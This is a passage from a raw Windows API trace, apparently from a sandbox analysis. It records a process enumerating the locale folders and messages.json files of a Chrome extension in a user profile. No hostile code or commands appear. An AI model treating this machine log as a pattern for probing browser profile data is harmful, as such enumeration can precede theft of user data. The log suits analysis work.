returned 0x7cbe10 [0056.274] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.274] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834879b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x50f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.274] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834879b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x50f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.274] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.274] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.274] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0056.275] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.275] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.275] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8348eee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.275] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8348eee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.275] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.275] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.275] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0056.275] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.276] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.276] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83498b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8349d940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.277] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83498b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8349d940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.277] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.277] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.277] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0056.277] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.277] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.277] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a4e70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.277] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a4e70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.277] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.277] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.277] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0056.278] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0056.278] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.278] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.279] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.279] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0056.279] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.279] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iw", cAlternateFileName="")) returned 1 [0056.279] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0056.279] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.279] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834b11c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b38d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x5074, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.279] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834b11c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b38d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x5074, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.279] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0056.279] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.280] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0056.280] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0056.280] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.281] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834bae00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bd510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x447a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.281] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834bae00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bd510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x447a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.281] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0056.281] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.281] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn", cAlternateFileName="")) returned 1 [0056.281] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0056.281] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.281] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834c7150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c9860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x55a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.282] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834c7150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c9860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x55a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.282] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0056.282] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.282] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0056.282] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0056.283] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.283] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: 